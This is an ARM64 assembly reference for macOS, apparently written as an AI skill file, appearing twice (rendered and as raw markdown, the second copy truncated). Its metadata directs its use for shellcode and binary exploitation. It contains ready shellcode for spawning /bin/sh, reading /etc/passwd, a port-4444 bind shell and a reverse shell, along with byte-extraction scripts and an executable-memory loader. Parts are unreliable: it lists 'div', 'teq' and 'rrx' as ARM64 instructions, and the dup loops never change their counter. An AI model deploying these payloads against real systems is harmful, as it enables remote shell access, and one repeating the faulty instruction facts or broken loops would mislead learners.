ARM64 Assembly Reference for macOS Security
This skill provides comprehensive reference material for ARM64 assembly language, with a focus on macOS security, reverse engineering, and exploitation.
Exception Levels (EL)
ARMv8 defines four exception levels that control privilege and capabilities:
| Level |
Name |
Purpose |
| EL0 |
User Mode |
Regular application code, least privileged |
| EL1 |
Kernel Mode |
Operating system kernel, accessed via SVC from EL0 |
| EL2 |
Hypervisor Mode |
Virtualization, accessed via HVC from EL1 |
| EL3 |
Secure Monitor |
Secure boot/TEE (not used by modern macOS) |
Key transitions:
- EL0 → EL1:
SVC (Supervisor Call) instruction
- EL1 → EL2:
HVC (Hypervisor Call) instruction
- EL2 → EL3:
SMC (Secure Monitor Call) instruction
General-Purpose Registers
ARM64 has 31 general-purpose registers (x0-x30), each 64-bit. 32-bit operations use w0-w30.
Register Categories
| Register(s) |
Purpose |
Volatile? |
x0-x7 |
Function arguments, return value (x0) |
Yes |
x8 |
System call number (Linux) |
Yes |
x9-x15 |
Temporary/local variables |
Yes |
x16-x17 |
Intra-procedural call, syscall number on macOS |
Yes |
x18 |
Platform register (reserved on some systems) |
Yes |
x19-x28 |
Callee-saved (must preserve across calls) |
No |
x29 |
Frame pointer (fp) |
No |
x30 |
Link register (lr), holds return address |
No |
sp |
Stack pointer (must be 16-byte aligned) |
- |
pc |
Program counter (read-only via branches) |
- |
xzr/wzr |
Zero register (always reads as 0) |
- |
Special Registers
TPIDR_EL0: Thread-local storage base (readable/writable from EL0)
TPIDR_EL1: Thread-local storage (readable from EL0, writable from EL1)
Access via mrs (read) and msr (write):
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, x0 ; Write x0 into TPIDR_EL0
SIMD/Floating-Point Registers
32 registers of 128-bit length, accessible at different widths:
Qn: 128-bit
Dn: 64-bit
Sn: 32-bit
Hn: 16-bit
Bn: 8-bit
PSTATE (Process State)
Stored in SPSR_ELx when exceptions occur. Key fields:
| Field |
Description |
N |
Negative result flag |
Z |
Zero result flag |
C |
Carry flag |
V |
Signed overflow flag |
nRW |
Register width (0 = AArch64) |
EL |
Current exception level |
SS |
Single-stepping (debugger) |
DAIF |
Exception masking (Debug, Async, IRQ, FIQ) |
SPS |
Stack pointer select (EL1+) |
Note: Not all instructions update flags. Use cmp, tst, or instructions with s suffix (e.g., adds, subs).
Calling Convention
Parameter Passing
- First 8 parameters:
x0 through x7
- Additional parameters: Passed on stack
- Return value:
x0 (or x0+x1 for 128-bit values)
- Preserved across calls:
x19-x28, x29 (fp), x30 (lr), sp
Function Prologue
stp x29, x30, [sp, #-16]! ; Save frame pointer and link register
mov x29, sp ; Set new frame pointer
sub sp, sp, #<size> ; Allocate stack space for locals
Function Epilogue
add sp, sp, #<size> ; Deallocate stack space
ldp x29, x30, [sp], #16 ; Restore frame pointer and link register
ret ; Return to caller
Common Instructions
Data Movement
| Instruction |
Description |
Example |
mov |
Move value between registers |
mov x0, x1 |
ldr |
Load from memory |
ldr x0, [x1] |
str |
Store to memory |
str x0, [x1] |
ldp |
Load pair of registers |
ldp x0, x1, [x2] |
stp |
Store pair of registers |
stp x0, x1, [sp] |
adrp |
Compute page address |
adrp x0, symbol |
ldrsw |
Load signed 32-bit, extend to 64 |
ldrsw x0, [x1] |
Memory Addressing Modes
ldr x2, [x1, #8] ; Offset mode: x1 + 8
ldr x2, [x1, #8]! ; Pre-indexed: load x1+8, update x1
ldr x0, [x1], #8 ; Post-indexed: load x1, then x1+8
ldr x1, =_start ; PC-relative addressing
Arithmetic
| Instruction |
Description |
Example |
add/adds |
Add (with/without flags) |
add x0, x1, x2 |
sub/subs |
Subtract (with/without flags) |
sub x0, x1, x2 |
mul |
Multiply |
mul x0, x1, x2 |
div |
Divide |
div x0, x1, x2 |
Shift operations:
add x5, x5, #1, lsl #12 ; x5 + (1 << 12) = x5 + 4096
Shifts and Rotates
| Instruction |
Description |
lsl |
Logical shift left (multiply by 2^n) |
lsr |
Logical shift right (unsigned divide by 2^n) |
asr |
Arithmetic shift right (signed divide by 2^n) |
ror |
Rotate right |
rrx |
Rotate right with extend (uses carry flag) |
Bitfield Operations
| Instruction |
Description |
Example |
bfm |
Bitfield move |
BFM Xd, Xn, #r |
sbfm |
Signed bitfield move |
SBFM Xd, Xn, #r, #s |
ubfm |
Unsigned bitfield move |
UBFM Xd, Xn, #r, #s |
bfi |
Bitfield insert |
BFI X1, X2, #3, #4 |
bfxil |
Bitfield extract and insert |
BFXIL X1, X2, #3, #4 |
sbfiz |
Sign-extend and insert |
SBFIZ X1, X2, #3, #4 |
ubfiz |
Zero-extend and insert |
UBFIZ X1, X2, #3, #4 |
Sign/Zero Extension
| Instruction |
Description |
sxtb |
Sign-extend byte to 64-bit |
sxth |
Sign-extend halfword to 64-bit |
sxtw |
Sign-extend word to 64-bit |
uxtb |
Zero-extend byte to 64-bit |
uxth |
Zero-extend halfword to 64-bit |
uxtw |
Zero-extend word to 64-bit |
Comparison
| Instruction |
Description |
Example |
cmp |
Compare (alias of subs to zero) |
cmp x0, x1 |
cmn |
Compare negative (alias of adds) |
cmn x0, x1 |
ccmp |
Conditional compare |
ccmp x3, x4, 0, NE |
tst |
Test bits (AND without store) |
tst x1, #7 |
teq |
Test equality (XOR without store) |
teq x0, x1 |
Branching
| Instruction |
Description |
Example |
b |
Unconditional branch |
b myFunction |
bl |
Branch with link (call) |
bl myFunction |
blr |
Branch to register |
blr x1 |
ret |
Return from subroutine |
ret |
b.eq |
Branch if equal |
b.eq label |
b.ne |
Branch if not equal |
b.ne label |
cbz |
Compare and branch on zero |
cbz x0, label |
cbnz |
Compare and branch on non-zero |
cbnz x0, label |
tbz |
Test bit and branch on zero |
tbz x0, #8, label |
tbnz |
Test bit and branch on non-zero |
tbnz x0, #8, label |
Conditional Select
| Instruction |
Description |
Example |
csel |
Conditional select |
csel x0, x1, x2, EQ |
csinc |
Conditional select and increment |
csinc x0, x1, x2, EQ |
cinc |
Conditional increment |
cinc x0, x1, EQ |
csinv |
Conditional select and invert |
csinv x0, x1, x2, EQ |
cset |
Conditional set (0 or 1) |
cset x0, EQ |
csetm |
Conditional set mask |
csetm x0, EQ |
System Calls
mov x16, #59 ; syscall number (macOS uses x16)
svc #0x1337 ; trigger syscall (immediate doesn't matter)
macOS System Calls
BSD Syscalls
- Use
x16 > 0
- Reference:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
- Source: syscalls.master
Mach Traps
- Use
x16 < 0 (negative numbers)
- Maximum:
MACH_TRAP_TABLE_COUNT = 128
- Example:
_kernelrpc_mach_vm_allocate_trap = -10
- Reference: syscall_sw.c
Common Syscall Numbers
| Number |
BSD Syscall |
Description |
| 1 |
exit |
Exit process |
| 2 |
fork |
Fork process |
| 59 |
execve |
Execute program |
| 97 |
socket |
Create socket |
| 98 |
connect |
Connect socket |
| 104 |
bind |
Bind socket |
| 106 |
listen |
Listen on socket |
| 30 |
accept |
Accept connection |
| 90 |
dup |
Duplicate file descriptor |
Finding Syscall Information
# Extract libsystem_kernel.dylib from dyld cache
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# Or check source directly
cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
Comm Page
Kernel-owned memory page mapped into every user process for fast kernel access. Example: gettimeofday reads directly from comm page.
objc_msgSend
Objective-C/Swift message sending:
x0: self (instance pointer)
x1: selector (method name)
x2+: method arguments
Debug with LLDB:
(lldb) po $x0 # Show object
(lldb) x/s $x1 # Show selector string
(lldb) po [$x0 launchPath] # Show property
Enable logging: NSObjCMessageLoggingEnabled=1
Shellcode Examples
Basic Shell (execve /bin/sh)
.section __TEXT,__text
.global _main
.align 2
_main:
adr x0, sh_path ; Address of "/bin/sh"
mov x1, xzr ; argv[1] = NULL
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve syscall
svc #0x1337
sh_path: .asciz "/bin/sh"
Shell with Stack String
.section __TEXT,__text
.global _main
.align 2
_main:
; Build "/bin/sh" in x1
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8] ; Store on stack
mov x1, #8
sub x0, sp, x1 ; x0 = address of string
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Read /etc/passwd
.section __TEXT,__text
.global _main
.align 2
_main:
sub sp, sp, #48 ; Allocate stack space
mov x1, sp ; x1 = argv array address
adr x0, cat_path
str x0, [x1] ; argv[0] = "/bin/cat"
adr x0, passwd_path
str x0, [x1, #8] ; argv[1] = "/etc/passwd"
str xzr, [x1, #16] ; argv[2] = NULL
adr x0, cat_path ; x0 = "/bin/cat"
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve
svc 0
cat_path: .asciz "/bin/cat"
passwd_path: .asciz "/etc/passwd"
Bind Shell (port 4444)
.section __TEXT,__text
.global _main
.align 2
_main:
; socket(AF_INET, SOCK_STREAM, 0)
mov x16, #97
lsr x1, x16, #6 ; x1 = 1 (SOCK_STREAM)
lsl x0, x1, #1 ; x0 = 2 (AF_INET)
mov x2, xzr
svc #0x1337
mvn x3, x0 ; Save socket fd
; bind(s, &sockaddr, 16)
mov x1, #0x0210 ; sin_len=16, sin_family=2
movk x1, #0x5C11, lsl #16 ; sin_port=4444
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
; listen(s, 2)
mvn x0, x3
lsr x1, x2, #3 ; x1 = 2
mov x16, #106
svc #0x1337
; accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0 ; Save client fd
; dup(c, 2) -> dup(c, 1) -> dup(c, 0)
lsr x2, x16, #4 ; x2 = 2
lsl x2, x2, #2 ; x2 = 8 (loop counter)
_dup_loop:
mvn x0, x3
lsr x1, x2, #1
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne _dup_loop
; execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse Shell (127.0.0.1:4444)
.section __TEXT,__text
.global _main
.align 2
_main:
; socket(AF_INET, SOCK_STREAM, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
mvn x3, x0
; connect(s, &sockaddr, 16)
mov x1, #0x0210
movk x1, #0x5C11, lsl #16 ; port 4444
movk x1, #0x007F, lsl #32 ; 127.0.0.1
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
; dup(s, 2) -> dup(s, 1) -> dup(s, 0)
lsr x2, x2, #2
_dup_loop:
mvn x0, x3
lsr x1, x2, #1
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne _dup_loop
; execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Building and Testing Shellcode
Compile Assembly
# Assemble
as -o shell.o shell.s
# Link (macOS)
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# Or with xcrun
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Extract Shellcode Bytes
# For older macOS
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\x'$c
done
# For newer macOS (byte order fix)
for s in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Test Shellcode (C Loader)
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main() {
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
memcpy(ptr, shellcode, sizeof(shellcode));
mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
sc = ptr;
sc();
return 0;
}
Compile: gcc loader.c -o loader
AArch32 Execution State
ARMv8 can execute 32-bit code in AArch32 state:
Instruction Sets
- A32: 32-bit ARM instructions
- T32: 16/32-bit Thumb instructions
Transition
- 64-bit → 32-bit: Lower exception level (e.g., EL1 → EL0)
- Set bit 4 of
SPSR_ELx to 1
- Use
ERET to transition
AArch32 Registers
| Register |
Purpose |
r0-r14 |
General purpose |
r11 |
Frame pointer |
r12 |
Intra-procedural call |
r13 |
Stack pointer (16-byte aligned) |
r14 |
Link register |
r15 |
Program counter |
CPSR (Current Program Status Register)
Similar to PSTATE in AArch64:
- APSR: Application flags (N, Z, C, V, Q, GE)
- J/T bits: Instruction set selection (J=0, T=0 → A32; J=0, T=1 → T32)
- E bit: Endianness
- Mode bits: Current execution mode
Tips for Reverse Engineering
- Look for prologue/epilogue patterns to identify function boundaries
- Check x16 before svc to identify syscall numbers
- Follow x0-x7 to trace function arguments
- Use x29 (fp) to navigate stack frames
- Watch x30 (lr) for return addresses
- Check for objc_msgSend in Objective-C/Swift binaries
- Use LLDB to inspect registers at breakpoints
- Reference libsystem_kernel.dylib for syscall implementations
References
1---2name: arm64-assembly-reference3description: ARM64 assembly language reference for macOS security and reverse engineering. Use this skill whenever the user asks about ARM64 assembly, registers, instructions, exception levels, calling conventions, shellcode, or macOS system calls. This includes questions about writing assembly code, understanding disassembly, creating shellcode, or working with ARM64 architecture concepts. Make sure to use this skill when users mention ARM64, aarch64, assembly, shellcode, syscalls, registers like x0-x30, or macOS binary exploitation.4---56# ARM64 Assembly Reference for macOS Security78This skill provides comprehensive reference material for ARM64 assembly language, with a focus on macOS security, reverse engineering, and exploitation.910## Exception Levels (EL)1112ARMv8 defines four exception levels that control privilege and capabilities:1314| Level | Name | Purpose |15|-------|------|--------|16| **EL0** | User Mode | Regular application code, least privileged |17| **EL1** | Kernel Mode | Operating system kernel, accessed via `SVC` from EL0 |18| **EL2** | Hypervisor Mode | Virtualization, accessed via `HVC` from EL1 |19| **EL3** | Secure Monitor | Secure boot/TEE (not used by modern macOS) |2021**Key transitions:**22- EL0 → EL1: `SVC` (Supervisor Call) instruction23- EL1 → EL2: `HVC` (Hypervisor Call) instruction24- EL2 → EL3: `SMC` (Secure Monitor Call) instruction2526## General-Purpose Registers2728ARM64 has 31 general-purpose registers (`x0`-`x30`), each 64-bit. 32-bit operations use `w0`-`w30`.2930### Register Categories3132| Register(s) | Purpose | Volatile? |33|-------------|---------|----------|34| `x0`-`x7` | Function arguments, return value (`x0`) | Yes |35| `x8` | System call number (Linux) | Yes |36| `x9`-`x15` | Temporary/local variables | Yes |37| `x16`-`x17` | Intra-procedural call, **syscall number on macOS** | Yes |38| `x18` | Platform register (reserved on some systems) | Yes |39| `x19`-`x28` | Callee-saved (must preserve across calls) | No |40| `x29` | Frame pointer (`fp`) | No |41| `x30` | Link register (`lr`), holds return address | No |42| `sp` | Stack pointer (must be 16-byte aligned) | - |43| `pc` | Program counter (read-only via branches) | - |44| `xzr`/`wzr` | Zero register (always reads as 0) | - |4546### Special Registers4748- **`TPIDR_EL0`**: Thread-local storage base (readable/writable from EL0)49- **`TPIDR_EL1`**: Thread-local storage (readable from EL0, writable from EL1)5051Access via `mrs` (read) and `msr` (write):52```armasm53mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x054msr TPIDR_EL0, x0 ; Write x0 into TPIDR_EL055```5657### SIMD/Floating-Point Registers585932 registers of 128-bit length, accessible at different widths:60- `Qn`: 128-bit61- `Dn`: 64-bit62- `Sn`: 32-bit63- `Hn`: 16-bit64- `Bn`: 8-bit6566## PSTATE (Process State)6768Stored in `SPSR_ELx` when exceptions occur. Key fields:6970| Field | Description |71|-------|-------------|72| `N` | Negative result flag |73| `Z` | Zero result flag |74| `C` | Carry flag |75| `V` | Signed overflow flag |76| `nRW` | Register width (0 = AArch64) |77| `EL` | Current exception level |78| `SS` | Single-stepping (debugger) |79| `DAIF` | Exception masking (Debug, Async, IRQ, FIQ) |80| `SPS` | Stack pointer select (EL1+) |8182**Note:** Not all instructions update flags. Use `cmp`, `tst`, or instructions with `s` suffix (e.g., `adds`, `subs`).8384## Calling Convention8586### Parameter Passing87881. **First 8 parameters**: `x0` through `x7`892. **Additional parameters**: Passed on stack903. **Return value**: `x0` (or `x0`+`x1` for 128-bit values)914. **Preserved across calls**: `x19`-`x28`, `x29` (fp), `x30` (lr), `sp`9293### Function Prologue9495```armasm96stp x29, x30, [sp, #-16]! ; Save frame pointer and link register97mov x29, sp ; Set new frame pointer98sub sp, sp, #<size> ; Allocate stack space for locals99```100101### Function Epilogue102103```armasm104add sp, sp, #<size> ; Deallocate stack space105ldp x29, x30, [sp], #16 ; Restore frame pointer and link register106ret ; Return to caller107```108109## Common Instructions110111### Data Movement112113| Instruction | Description | Example |114|-------------|-------------|--------|115| `mov` | Move value between registers | `mov x0, x1` |116| `ldr` | Load from memory | `ldr x0, [x1]` |117| `str` | Store to memory | `str x0, [x1]` |118| `ldp` | Load pair of registers | `ldp x0, x1, [x2]` |119| `stp` | Store pair of registers | `stp x0, x1, [sp]` |120| `adrp` | Compute page address | `adrp x0, symbol` |121| `ldrsw` | Load signed 32-bit, extend to 64 | `ldrsw x0, [x1]` |122123### Memory Addressing Modes124125```armasm126ldr x2, [x1, #8] ; Offset mode: x1 + 8127ldr x2, [x1, #8]! ; Pre-indexed: load x1+8, update x1128ldr x0, [x1], #8 ; Post-indexed: load x1, then x1+8129ldr x1, =_start ; PC-relative addressing130```131132### Arithmetic133134| Instruction | Description | Example |135|-------------|-------------|--------|136| `add`/`adds` | Add (with/without flags) | `add x0, x1, x2` |137| `sub`/`subs` | Subtract (with/without flags) | `sub x0, x1, x2` |138| `mul` | Multiply | `mul x0, x1, x2` |139| `div` | Divide | `div x0, x1, x2` |140141**Shift operations:**142```armasm143add x5, x5, #1, lsl #12 ; x5 + (1 << 12) = x5 + 4096144```145146### Shifts and Rotates147148| Instruction | Description |149|-------------|-------------|150| `lsl` | Logical shift left (multiply by 2^n) |151| `lsr` | Logical shift right (unsigned divide by 2^n) |152| `asr` | Arithmetic shift right (signed divide by 2^n) |153| `ror` | Rotate right |154| `rrx` | Rotate right with extend (uses carry flag) |155156### Bitfield Operations157158| Instruction | Description | Example |159|-------------|-------------|--------|160| `bfm` | Bitfield move | `BFM Xd, Xn, #r` |161| `sbfm` | Signed bitfield move | `SBFM Xd, Xn, #r, #s` |162| `ubfm` | Unsigned bitfield move | `UBFM Xd, Xn, #r, #s` |163| `bfi` | Bitfield insert | `BFI X1, X2, #3, #4` |164| `bfxil` | Bitfield extract and insert | `BFXIL X1, X2, #3, #4` |165| `sbfiz` | Sign-extend and insert | `SBFIZ X1, X2, #3, #4` |166| `ubfiz` | Zero-extend and insert | `UBFIZ X1, X2, #3, #4` |167168### Sign/Zero Extension169170| Instruction | Description |171|-------------|-------------|172| `sxtb` | Sign-extend byte to 64-bit |173| `sxth` | Sign-extend halfword to 64-bit |174| `sxtw` | Sign-extend word to 64-bit |175| `uxtb` | Zero-extend byte to 64-bit |176| `uxth` | Zero-extend halfword to 64-bit |177| `uxtw` | Zero-extend word to 64-bit |178179### Comparison180181| Instruction | Description | Example |182|-------------|-------------|--------|183| `cmp` | Compare (alias of `subs` to zero) | `cmp x0, x1` |184| `cmn` | Compare negative (alias of `adds`) | `cmn x0, x1` |185| `ccmp` | Conditional compare | `ccmp x3, x4, 0, NE` |186| `tst` | Test bits (AND without store) | `tst x1, #7` |187| `teq` | Test equality (XOR without store) | `teq x0, x1` |188189### Branching190191| Instruction | Description | Example |192|-------------|-------------|--------|193| `b` | Unconditional branch | `b myFunction` |194| `bl` | Branch with link (call) | `bl myFunction` |195| `blr` | Branch to register | `blr x1` |196| `ret` | Return from subroutine | `ret` |197| `b.eq` | Branch if equal | `b.eq label` |198| `b.ne` | Branch if not equal | `b.ne label` |199| `cbz` | Compare and branch on zero | `cbz x0, label` |200| `cbnz` | Compare and branch on non-zero | `cbnz x0, label` |201| `tbz` | Test bit and branch on zero | `tbz x0, #8, label` |202| `tbnz` | Test bit and branch on non-zero | `tbnz x0, #8, label` |203204### Conditional Select205206| Instruction | Description | Example |207|-------------|-------------|--------|208| `csel` | Conditional select | `csel x0, x1, x2, EQ` |209| `csinc` | Conditional select and increment | `csinc x0, x1, x2, EQ` |210| `cinc` | Conditional increment | `cinc x0, x1, EQ` |211| `csinv` | Conditional select and invert | `csinv x0, x1, x2, EQ` |212| `cset` | Conditional set (0 or 1) | `cset x0, EQ` |213| `csetm` | Conditional set mask | `csetm x0, EQ` |214215### System Calls216217```armasm218mov x16, #59 ; syscall number (macOS uses x16)219svc #0x1337 ; trigger syscall (immediate doesn't matter)220```221222## macOS System Calls223224### BSD Syscalls225226- Use `x16 > 0`227- Reference: `/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`228- Source: [syscalls.master](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)229230### Mach Traps231232- Use `x16 < 0` (negative numbers)233- Maximum: `MACH_TRAP_TABLE_COUNT` = 128234- Example: `_kernelrpc_mach_vm_allocate_trap` = `-10`235- Reference: [syscall_sw.c](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)236237### Common Syscall Numbers238239| Number | BSD Syscall | Description |240|--------|-------------|-------------|241| 1 | `exit` | Exit process |242| 2 | `fork` | Fork process |243| 59 | `execve` | Execute program |244| 97 | `socket` | Create socket |245| 98 | `connect` | Connect socket |246| 104 | `bind` | Bind socket |247| 106 | `listen` | Listen on socket |248| 30 | `accept` | Accept connection |249| 90 | `dup` | Duplicate file descriptor |250251### Finding Syscall Information252253```bash254# Extract libsystem_kernel.dylib from dyld cache255dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e256257# Or check source directly258cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h259```260261### Comm Page262263Kernel-owned memory page mapped into every user process for fast kernel access. Example: `gettimeofday` reads directly from comm page.264265### objc_msgSend266267Objective-C/Swift message sending:268- `x0`: `self` (instance pointer)269- `x1`: selector (method name)270- `x2`+: method arguments271272Debug with LLDB:273```bash274(lldb) po $x0 # Show object275(lldb) x/s $x1 # Show selector string276(lldb) po [$x0 launchPath] # Show property277```278279Enable logging: `NSObjCMessageLoggingEnabled=1`280281## Shellcode Examples282283### Basic Shell (execve /bin/sh)284285```armasm286.section __TEXT,__text287.global _main288.align 2289290_main:291 adr x0, sh_path ; Address of "/bin/sh"292 mov x1, xzr ; argv[1] = NULL293 mov x2, xzr ; envp = NULL294 mov x16, #59 ; execve syscall295 svc #0x1337296297sh_path: .asciz "/bin/sh"298```299300### Shell with Stack String301302```armasm303.section __TEXT,__text304.global _main305.align 2306307_main:308 ; Build "/bin/sh" in x1309 mov x1, #0x622F310 movk x1, #0x6E69, lsl #16311 movk x1, #0x732F, lsl #32312 movk x1, #0x68, lsl #48313 314 str x1, [sp, #-8] ; Store on stack315 316 mov x1, #8317 sub x0, sp, x1 ; x0 = address of string318 mov x1, xzr319 mov x2, xzr320 mov x16, #59321 svc #0x1337322```323324### Read /etc/passwd325326```armasm327.section __TEXT,__text328.global _main329.align 2330331_main:332 sub sp, sp, #48 ; Allocate stack space333 mov x1, sp ; x1 = argv array address334 335 adr x0, cat_path336 str x0, [x1] ; argv[0] = "/bin/cat"337 338 adr x0, passwd_path339 str x0, [x1, #8] ; argv[1] = "/etc/passwd"340 str xzr, [x1, #16] ; argv[2] = NULL341 342 adr x0, cat_path ; x0 = "/bin/cat"343 mov x2, xzr ; envp = NULL344 mov x16, #59 ; execve345 svc 0346347cat_path: .asciz "/bin/cat"348passwd_path: .asciz "/etc/passwd"349```350351### Bind Shell (port 4444)352353```armasm354.section __TEXT,__text355.global _main356.align 2357358_main:359 ; socket(AF_INET, SOCK_STREAM, 0)360 mov x16, #97361 lsr x1, x16, #6 ; x1 = 1 (SOCK_STREAM)362 lsl x0, x1, #1 ; x0 = 2 (AF_INET)363 mov x2, xzr364 svc #0x1337365 mvn x3, x0 ; Save socket fd366 367 ; bind(s, &sockaddr, 16)368 mov x1, #0x0210 ; sin_len=16, sin_family=2369 movk x1, #0x5C11, lsl #16 ; sin_port=4444370 str x1, [sp, #-8]371 mov x2, #8372 sub x1, sp, x2373 mov x2, #16374 mov x16, #104375 svc #0x1337376 377 ; listen(s, 2)378 mvn x0, x3379 lsr x1, x2, #3 ; x1 = 2380 mov x16, #106381 svc #0x1337382 383 ; accept(s, 0, 0)384 mvn x0, x3385 mov x1, xzr386 mov x2, xzr387 mov x16, #30388 svc #0x1337389 mvn x3, x0 ; Save client fd390 391 ; dup(c, 2) -> dup(c, 1) -> dup(c, 0)392 lsr x2, x16, #4 ; x2 = 2393 lsl x2, x2, #2 ; x2 = 8 (loop counter)394 395_dup_loop:396 mvn x0, x3397 lsr x1, x2, #1398 mov x16, #90399 svc #0x1337400 mov x10, xzr401 cmp x10, x2402 bne _dup_loop403 404 ; execve("/bin/sh", 0, 0)405 mov x1, #0x622F406 movk x1, #0x6E69, lsl #16407 movk x1, #0x732F, lsl #32408 movk x1, #0x68, lsl #48409 str x1, [sp, #-8]410 mov x1, #8411 sub x0, sp, x1412 mov x1, xzr413 mov x2, xzr414 mov x16, #59415 svc #0x1337416```417418### Reverse Shell (127.0.0.1:4444)419420```armasm421.section __TEXT,__text422.global _main423.align 2424425_main:426 ; socket(AF_INET, SOCK_STREAM, 0)427 mov x16, #97428 lsr x1, x16, #6429 lsl x0, x1, #1430 mov x2, xzr431 svc #0x1337432 mvn x3, x0433 434 ; connect(s, &sockaddr, 16)435 mov x1, #0x0210436 movk x1, #0x5C11, lsl #16 ; port 4444437 movk x1, #0x007F, lsl #32 ; 127.0.0.1438 movk x1, #0x0100, lsl #48439 str x1, [sp, #-8]440 mov x2, #8441 sub x1, sp, x2442 mov x2, #16443 mov x16, #98444 svc #0x1337445 446 ; dup(s, 2) -> dup(s, 1) -> dup(s, 0)447 lsr x2, x2, #2448_dup_loop:449 mvn x0, x3450 lsr x1, x2, #1451 mov x16, #90452 svc #0x1337453 mov x10, xzr454 cmp x10, x2455 bne _dup_loop456 457 ; execve("/bin/sh", 0, 0)458 mov x1, #0x622F459 movk x1, #0x6E69, lsl #16460 movk x1, #0x732F, lsl #32461 movk x1, #0x68, lsl #48462 str x1, [sp, #-8]463 mov x1, #8464 sub x0, sp, x1465 mov x1, xzr466 mov x2, xzr467 mov x16, #59468 svc #0x1337469```470471## Building and Testing Shellcode472473### Compile Assembly474475```bash476# Assemble477as -o shell.o shell.s478479# Link (macOS)480ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib481482# Or with xcrun483ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem484```485486### Extract Shellcode Bytes487488```bash489# For older macOS490for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do491 echo -n '\x'$c492done493494# For newer macOS (byte order fix)495for s in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do496 echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'497done498```499500### Test Shellcode (C Loader)501502```c503#include <stdio.h>504#include <sys/mman.h>505#include <string.h>506#include <stdlib.h>507508int (*sc)();509char shellcode[] = "<INSERT SHELLCODE HERE>";510511int main() {512 void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, 513 MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);514 memcpy(ptr, shellcode, sizeof(shellcode));515 mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);516 sc = ptr;517 sc();518 return 0;519}520```521522Compile: `gcc loader.c -o loader`523524## AArch32 Execution State525526ARMv8 can execute 32-bit code in AArch32 state:527528### Instruction Sets529- **A32**: 32-bit ARM instructions530- **T32**: 16/32-bit Thumb instructions531532### Transition533- 64-bit → 32-bit: Lower exception level (e.g., EL1 → EL0)534- Set bit 4 of `SPSR_ELx` to 1535- Use `ERET` to transition536537### AArch32 Registers538539| Register | Purpose |540|----------|--------|541| `r0`-`r14` | General purpose |542| `r11` | Frame pointer |543| `r12` | Intra-procedural call |544| `r13` | Stack pointer (16-byte aligned) |545| `r14` | Link register |546| `r15` | Program counter |547548### CPSR (Current Program Status Register)549550Similar to PSTATE in AArch64:551- **APSR**: Application flags (N, Z, C, V, Q, GE)552- **J/T bits**: Instruction set selection (J=0, T=0 → A32; J=0, T=1 → T32)553- **E bit**: Endianness554- **Mode bits**: Current execution mode555556## Tips for Reverse Engineering5575581. **Look for prologue/epilogue patterns** to identify function boundaries5592. **Check x16 before svc** to identify syscall numbers5603. **Follow x0-x7** to trace function arguments5614. **Use x29 (fp)** to navigate stack frames5625. **Watch x30 (lr)** for return addresses5636. **Check for objc_msgSend** in Objective-C/Swift binaries5647. **Use LLDB** to 